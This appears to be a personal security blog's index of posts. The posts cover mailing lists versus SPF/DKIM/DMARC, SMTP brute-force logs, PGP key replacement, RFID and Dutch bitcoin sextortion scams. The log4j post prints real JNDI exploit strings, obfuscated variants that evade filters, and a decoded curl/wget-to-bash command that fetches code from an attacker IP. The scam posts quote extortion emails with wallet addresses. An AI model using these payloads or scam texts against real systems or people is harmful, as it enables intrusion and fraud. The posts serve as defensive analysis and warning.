2022-03-26 SPF/DKIM/DMARC and mailing lists
One of the founding forms of information exchange and community building on the Internet is the mailing list. A subscriber sends mail to a central mail address and the mail gets redistributed to all members. As this mechanism has been abused by spammers in lots of ways there has been a lot of work in stopping unwanted mail being distributed by mailing lists. There has also been a lot of work in publishing the official way in which outgoing mail from organizations is handled: Sender Policy Framework (SPF), documenting the sources from which e-mail can be send, DomainKeys Identified Mail (DKIM) for signing outgoing mail headers and body and Domain-based Message Authentication, Reporting and Conformance (DMARC) for publishing the policies for mails that fail SPF/DKIM and reporting on those. The way mailing lists forward mail isn't really compatible with SPF and DKIM. There is a 'new' source of mail from the original sender and some headers are changed/added when forwarding it with mailing list software. Yesterday I sent something to a mailing list from an idefix.net address and this morning I see a number of dmarc reports with failures, because the mailing list server isn't authorised to send on behalf of idefix.net. So maybe some people on this mailing list haven't received my reply. In the long run lots of SPF errors from this IP could also hurt its 'reputation score' for outgoing e-mail. Some mailing lists 'fix' this by not allowing domains with strict spf/dmarc policies, others go through interesting adjustments with 'sent on behalf of'. I have no simple solution for this, I see an example of security measures breaking an existing use case, for which adjustments may have to be made. Update: The general approach here seems to be 'sender rewriting'. Recently updated mailing list software should support this. But it depends on the mailing list owner to check the settings and update the software.
2022-03-05 SMTP auth bruteforce attacks seen
In checking recent logs I noticed several tries to find SMTP authentication credentials. Most notably is that anything that vaguely resembles something that might be an SMTP account is tried. Including plussed e-mail addresses and information from SIP urls.
Mar 5 14:12:09 gosper saslauthd[16336]: : auth failure: [user=8006] [service=smtp] [realm=idefix.net] [mech=pam] [reason=PAM auth error] Mar 5 17:15:00 gosper saslauthd[16339]: : auth failure: [user=koos+web] [service=smtp] [realm=idefix.net] [mech=pam] [reason=PAM auth error] Mar 5 18:08:04 gosper saslauthd[16339]: : auth failure: [user=belspel] [service=smtp] [realm=idefix.net] [mech=pam] [reason=PAM auth error]
In checking recent logs I noticed several tries to find SMTP authentication
credentials. Most notably is that anything that vaguely resembles something
that might be an SMTP account is tried. Including plussed e-mail addresses
and information from SIP urls.
2022-02-25 Fraudepoging "Vergeet niet binnen 2 dagen je belasting te betalen!"
Hallo, hoe gaat het met jou? Ik weet het, het is vervelend om een gesprek te beginnen met slecht nieuws, maar ik kan niet anders. Enkele maanden geleden heb ik toegang gekregen tot je apparaten die je gebruikt om op het internet te browsen. Vervolgens heb ik al je internet activiteiten kunnen traceren. Hieronder kun je lezen hoe ik dit voor elkaar heb gekregen: Allereerst heb ik van hackers de toegang tot meerdere e-mail accounts gekocht (tegenwoordig is dat een fluitje van een cent om dat online te doen). Daarna kon ik heel makkelijk op je e-mail account (xxxx@example.com) inloggen. Een week later heb ik een Trojan virus geïnstalleerd in de besturingssystemen van al de apparaten die je gebruikt om je mails te openen en te lezen. Om eerlijk te zijn ging dat vrij simpel (want je opent de links uit je inbox mails).Het bitcoinadres waar 1790 euro heen mag is 1AJcoDsSGe9teEfzSMicXprJFae7729J5y. Update 2022-02-26: Nog een keer dezelfde spam gezien met bitcoinadres 1AJcoDsSGe9teEfzSMicXprJFae7729J5y en 1DfSBC5xbeswbXingkkf3i6VyQwYb8kYGh.
2022-02-23 Filtering logs to only get relevant reports
I want to know if something goes wrong but with the number of (virtual) servers here at home it is not possible to check all logs constantly. So the main machines use logcheck to find the interesting error messages and the rest gets filtered out. Ideally that leaves no messages, but I do want to know about patterns that indicate attacks so I do get messages constantly about ssh attack attempts and weird nameserver requests or misconfigured nameserver responses. Recently I've been checking the resulting reports again carefully and noticed some more patterns that could be filtered. And I found two misconfigurations that I solved. Normally those misconfigurations would drown in the noise of the log, only to be found if I was looking for something else. Now it started to stand out after filtering out a lot of messages that are to be expected.
2022-02-19 Receiving DMARC reports and trying to debug my DKIM setup
Since November 2021 I have been running DKIM with sendmail. First for a test domain, later also for the main domain sending e-mail. I directly added a DMARC record with options to notify me of spf/dkim errors. I have seen a few reports of fake mail injected but most reports were about valid mail. For a long time google kept sending reports about dkim errors but I couldn't find out why. After I added the option to receive debug information this problem did not come back, so I'm not sure whether I fixed this. Today I sent something to a mailing list and got a debug report instantly. Somewhere after the mailing list software had changed the body of my message (it stripped the pgp signature and noted this) a mail server checked the DKIM headers and found out the body signature was wrong. Indeed. Mailing lists and DKIM/SPF are complicated.
2022-02-15 My work PGP key needed replacement and using PGP keys in thunderbird with their original passphrases
Today I tried to sign a key with my work PGP key, and after lots of tries the conclusion was that my 2006 work pgp key was too infected with SHA1 signatures that I couldn't remove, so I created a replacement work PGP key. Even a signature for the new key with the old key was rejected. So the new work key:
pub rsa4096/0x36FF19C6159C0262 2022-02-15 [SC] [expires: 2027-02-14] Key fingerprint = 1401 EE9F 25AD 23F1 C299 FD07 36FF 19C6 159C 0262 uid [ultimate] Koos van den Hout <k.vandenhout(at)uu.nl> uid [ultimate] Koos van den Hout <koos(at)surfcert.nl> sub rsa4096/0x918F8E7A170EA93E 2022-02-15 [E] [expires: 2027-02-14]I also signed it with my personal key, and I will try to get more signatures for the new work key to make things work better. Available at PGP key 0x36ff19c6159c0262. There you will see I also signed it with my old work key 0x42216fe29ee949cf but since that signature is also a SHA1 signature the new gpg implementation immediately rejects it. So I should get some signatures from people who have relatively new PGP keys. I've been using PGP since 1993 (29 years now!) and I can see the developments in PGP over the years in my keys. In the process I noticed one thunderbird installation insists on managing PGP keys completely and the other doesn't. Searching for the reason eventually found Use Thunderbird 78 with System GnuPG Keyring and I made sure the option mail.openpgp.allow_external_gnupg was set to true.
Today I tried to sign a key with my work PGP key, and after lots of tries the
conclusion was that my 2006 work pgp key was too infected with SHA1 signatures
that I couldn't remove, so I created a replacement work PGP key. Even a
signature for the new key with the old key was rejected.
So the new work key:
2022-01-21 Looking at RFID cards and NFC again
I haven't done anything with NFC in ages. Almost three years ago I dug up my knowledge again and learned about UID changeable cards and before that the last real digging into RFID was 11 years ago: Interesting development with the magna carta rfid card. Anyway, my interest is renewed due to several factors, with "just looking for something to learn about and enjoy the process" as main one. As a first step I dug up my trusty touchatag reader and the collection of RFID tokens/cards. The touchatag reader still doesn't see any of the collected ski passes so I guess those are for other frequencies. The collection of RFID tokens includes a number of one-use public transport tickets. Those are based on Mifare Ultralight "MF0ICU1" according to NXP TagInfo. The little bit that annoys me is that NXP TagInfo manages to list the transport company and the transaction date/time while I can't find any listing of the fields in a Mifare Ultralight for transport use online on a first search. Later searches (see below) give a lot more! So I have to do some digging myself. And maybe get a few more recent one-time-use public transport tickets to get an idea.Read the rest of Looking at RFID cards and NFC again
2021-12-14 Finding out what one (java) attack tries to do
I checked the logs for some more actual attacks and found one to analyze. Digging out the java class and decompiling it made it clear what it does in a windows environment: enumerate the number of computers seen in active directory in the last 100 days. And post the result to the server it came from. In Russia.
2021-12-13 Logs full of jndi: scans
A large part of last weekend was filled with the log4j vulnerability at work. Now I have some more time to look at the effect this has had on my home server I'm seeing a patter of lots of 'friendly' scanners with a few actual attack attempts in between. Some special ones from the logs: Trying all the fields (URL, referrer and user-agent), probably a 'friendly' scanner:45.83.66.84 - - [13/Dec/2021:04:53:21 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 969 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"Trying to circumvent web application firewalls that have been set up with simple rules against the log4j vulnerability. I'm not sure whether this is a 'friendly' scanner or an actual attempt at abuse.138.197.216.230 - - [13/Dec/2021:11:39:59 +0100] "GET / HTTP/1.1" 200 2211 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"Trying to load a "Legitimate" java class.167.172.44.255 - - [13/Dec/2021:17:26:02 +0100] "GET / HTTP/1.0" 503 652 borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass} - -> /But related to an IPv4 address that is becoming famous, I find this gem:45.155.205.233 - - [12/Dec/2021:06:38:34 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 2211 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}"And decoding the obvious base64 gives:echo -e KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA== | base64 -d ; echo (curl -s 45.155.205.233:5874/45.83.232.134:443||wget -q -O- 45.155.205.233:5874/45.83.232.134:443)|bashBut I haven't been able to fetch anything from 45.155.205.233:5874 yet and I'm getting really curious what it is/was. The other IP address is the external address of the server, so I guess it's a way to make curl/wget not return an error code.
2021-12-01 Fraudepoging "Je hebt nog een betaalopdracht uitstaan"
Items with tag security before 2021-12-01Met zo'n onderwerpregel voor een e-mail bericht weet ik al zeker dat het een fraude poging is, maar het bleek dit keer een van de beruchte bitcoin afpersingspogingen te zijn. De tekst is weer behoorlijk goed nederlands:Read the rest of Fraudepoging "Je hebt nog een betaalopdracht uitstaan"Hallo! Helaas heb ik slecht nieuws voor je. Enkele maanden geleden heb ik toegang gekregen tot de apparaten waarmee je op het internet surft. Vervolgens heb ik je internetactiviteiten nagetrokken. Hieronder volgt een overzicht van de gebeurtenissen die hiertoe hebben geleid: Eerst heb ik van hackers toegang gekocht tot talrijke e-mail accounts (tegenwoordig is dat een heel simpele klus die gewoon online kan worden gedaan). Zonder enige moeite heb ik vervolgens kunnen inloggen op jouw e-mail account (xxxx @ yyyyyyy). Een week later heb ik het voor elkaar gekregen een Trojaans virus te installeren op besturingssystemen van al je apparaten die voor e-mail toegang gebruikt worden. Eigenlijk was dat heel eenvoudig (want je klikte op de links in je inbox emails).En zo nog een heleboel tekst verder, maar het belangrijke deel:Schrijf 1750€ naar mijn rekening (bitcoin equivalent op basis van de wisselkoers tijdens je overschrijving) overHieronder staat mijn Bitcoin wallet: 1HvuQda3pzxyCnTJVpb1TpADMF2s3GB6g6 Je krijgt precies 48 uur de tijd nadat je deze e-mail geopend hebt (2 dagen om precies te zijn).Bitcoin wallet 1HvuQda3pzxyCnTJVpb1TpADMF2s3GB6g6 was al bekend bij bitcoinabuse en heeft zo te zien helaas al een bedrag ontvangen van bijna 4 keer 1750 euro. Trap hier niet in, het is echt complete onzin wat er beweerd wordt en alleen maar een manier om geld afhandig te maken. Lees ook: Ik word per mail gechanteerd - Fraudehelpdesk.nl